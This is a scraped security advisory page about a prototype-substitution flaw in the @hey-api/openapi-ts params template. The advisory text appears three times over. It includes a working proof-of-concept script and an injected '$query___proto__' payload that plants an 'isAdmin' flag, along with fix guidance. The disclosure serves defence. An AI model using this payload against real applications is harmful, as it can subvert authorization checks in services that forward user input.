### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`. ### Details The vulnerable branch in `dist/clients/core/params.ts`: ```typescript const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix)) if (extra) { const [prefix, slot] = extra ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value } ``` This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `"$query___proto__"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith("$query_")` is true, and `key.slice(7)` produces `"__proto__"`. The bracket-write `params["query"]["__proto__"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`. **Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `"$query___proto__"` alongside a legitimate field (e.g. `"q"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller. Concrete field config that hey-api generates for a GET endpoint with one query param `q`: ```typescript // generated by hey-api for: GET /search?q=<string> buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }]) ``` A request `{ q: "hello", "$query___proto__": { isAdmin: true } }` reaches this call with `"q"` going to the field map branch and `"$query___proto__"` falling through to `extraPrefixes`. ### PoC ```bash npm install @hey-api/[email protected] cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts npx tsx poc.ts # or: docker build -t heyapi-poc . && docker run --rm heyapi-poc ``` `poc.ts`: ```typescript import { buildClientParams } from "./params.ts"; // Generated fields config for GET /search?q=<string> const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }]; // Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields ); const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin" ``` Expected output: ``` [CONFIRMED] buildClientParams prototype substitution via $query___proto__ key Scenario: GET /search with fields [{ in:'query', key:'q' }] Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } } result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true} ``` No sentinel key is needed. The legitimate field `"q"` keeps `params.query` alive through `stripEmptySlots`. [reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip) ### Impact The returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected. Global `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers. Every npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.
### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`. ### Details The vulnerable branch in `dist/clients/core/params.ts`: ```typescript const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix)) if (extra) { const [prefix, slot] = extra ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value } ``` This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `"$query___proto__"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith("$query_")` is true, and `key.slice(7)` produces `"__proto__"`. The bracket-write `params["query"]["__proto__"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`. **Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `"$query___proto__"` alongside a legitimate field (e.g. `"q"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller. Concrete field config that hey-api generates for a GET endpoint with one query param `q`: ```typescript // generated by hey-api for: GET /search?q=<string> buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }]) ``` A request `{ q: "hello", "$query___proto__": { isAdmin: true } }` reaches this call with `"q"` going to the field map branch and `"$query___proto__"` falling through to `extraPrefixes`. ### PoC ```bash npm install @hey-api/[email protected] cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts npx tsx poc.ts # or: docker build -t heyapi-poc . && docker run --rm heyapi-poc ``` `poc.ts`: ```typescript import { buildClientParams } from "./params.ts"; // Generated fields config for GET /search?q=<string> const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }]; // Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields ); const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin" ``` Expected output: ``` [CONFIRMED] buildClientParams prototype substitution via $query___proto__ key Scenario: GET /search with fields [{ in:'query', key:'q' }] Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } } result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true} ``` No sentinel key is needed. The legitimate field `"q"` keeps `params.query` alive through `stripEmptySlots`. [reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip) ### Impact The returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected. Global `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers. Every npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.
Update @hey-api/openapi-ts to 0.97.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scan@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key affects @hey-api/openapi-ts (npm). Severity is medium. ### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`. ### Details The vulnerable branch in `dist/clients/core/params.ts`: ```typescript const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix)) if (extra) { const [prefix, slot] = extra ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value } ``` This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `"$query___proto__"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith("$query_")` is true, and `key.slice(7)` produces `"__proto__"`. The bracket-write `params["query"]["__proto__"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`. **Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `"$query___proto__"` alongside a legitimate field (e.g. `"q"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller. Concrete field config that hey-api generates for a GET endpoint with one query param `q`: ```typescript // generated by hey-api for: GET /search?q=<string> buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }]) ``` A request `{ q: "hello", "$query___proto__": { isAdmin: true } }` reaches this call with `"q"` going to the field map branch and `"$query___proto__"` falling through to `extraPrefixes`. ### PoC ```bash npm install @hey-api/[email protected] cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts npx tsx poc.ts # or: docker build -t heyapi-poc . && docker run --rm heyapi-poc ``` `poc.ts`: ```typescript import { buildClientParams } from "./params.ts"; // Generated fields config for GET /search?q=<string> const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }]; // Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields ); const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin" ``` Expected output: ``` [CONFIRMED] buildClientParams prototype substitution via $query___proto__ key Scenario: GET /search with fields [{ in:'query', key:'q' }] Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } } result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true} ``` No sentinel key is needed. The legitimate field `"q"` keeps `params.query` alive through `stripEmptySlots`. [reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip) ### Impact The returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected. Global `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers. Every npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.
AI coding agents often install or upgrade packages automatically in npm. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @hey-api/openapi-tsnpm | <0.97.3 | 0.97.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @hey-api/openapi-ts to 0.97.3 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scan@hey-api/openapi-ts's `buildClientParams` template: prototype chain substitution via unknown `$<slot>___proto__` key affects @hey-api/openapi-ts (npm). Severity is medium. ### Summary `dist/clients/core/params.ts` in `@hey-api/openapi-ts` ships a runtime template that is copied verbatim into every generated SDK as `params.gen.ts`. When a caller passes an object argument containing an unknown key starting with a slot prefix (`$body_`, `$headers_`, `$path_`, `$query_`), the function strips the prefix and writes the remainder directly to that slot without validation. The key `"$query___proto__"` causes the returned `params.query` object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least `0.97.2`. ### Details The vulnerable branch in `dist/clients/core/params.ts`: ```typescript const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix)) if (extra) { const [prefix, slot] = extra ;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value } ``` This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes `"$query___proto__"` as an extra key alongside a legitimate field, the key is not in the field map, `key.startsWith("$query_")` is true, and `key.slice(7)` produces `"__proto__"`. The bracket-write `params["query"]["__proto__"] = value` invokes the `__proto__` setter, which calls `Object.setPrototypeOf(params.query, value)`. **Reachability.** Every generated endpoint method that accepts an object argument passes it through `buildClientParams`. If the application forwards user-supplied request parameters to a generated client method — a common pattern in proxy servers, BFF layers, and API gateways — an attacker can include `"$query___proto__"` alongside a legitimate field (e.g. `"q"`). The legitimate field ensures `stripEmptySlots` does not remove the affected slot (it has at least one own key), so the poisoned `params.query` object is returned to the caller. Concrete field config that hey-api generates for a GET endpoint with one query param `q`: ```typescript // generated by hey-api for: GET /search?q=<string> buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }]) ``` A request `{ q: "hello", "$query___proto__": { isAdmin: true } }` reaches this call with `"q"` going to the field map branch and `"$query___proto__"` falling through to `extraPrefixes`. ### PoC ```bash npm install @hey-api/[email protected] cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts npx tsx poc.ts # or: docker build -t heyapi-poc . && docker run --rm heyapi-poc ``` `poc.ts`: ```typescript import { buildClientParams } from "./params.ts"; // Generated fields config for GET /search?q=<string> const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }]; // Attacker request: legitimate "q" plus injected "$query___proto__" const result = buildClientParams( [{ q: "hello", "$query___proto__": { isAdmin: true } }], generatedFields ); const q = result.query as any; console.log(q.q); // "hello" — own property, normal console.log(q.isAdmin); // true — inherited via prototype chain console.log(Object.keys(q)); // ["q"] — own keys only for (const k in result.query) console.log(k); // "q", "isAdmin" ``` Expected output: ``` [CONFIRMED] buildClientParams prototype substitution via $query___proto__ key Scenario: GET /search with fields [{ in:'query', key:'q' }] Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } } result.query.q = hello result.query.isAdmin = true ← inherited, NOT own Object.keys(q) = [ 'q' ] for..in keys = q, isAdmin Object.getPrototypeOf = {"isAdmin":true} ``` No sentinel key is needed. The legitimate field `"q"` keeps `params.query` alive through `stripEmptySlots`. [reproduce.zip](https://github.com/user-attachments/files/27953600/reproduce.zip) ### Impact The returned `params.query` object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with `for..in` (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected. Global `Object.prototype` is not modified — impact is limited to the returned slot object and its consumers. Every npm package generated by `@hey-api/openapi-ts` carries this template. Downstream packages include `@opencode-ai/sdk`, `@trigger.dev/sdk`, and others. A fix in the template propagates to all of them on regeneration.
AI coding agents often install or upgrade packages automatically in npm. A medium vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @hey-api/openapi-tsnpm | <0.97.3 | 0.97.3 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard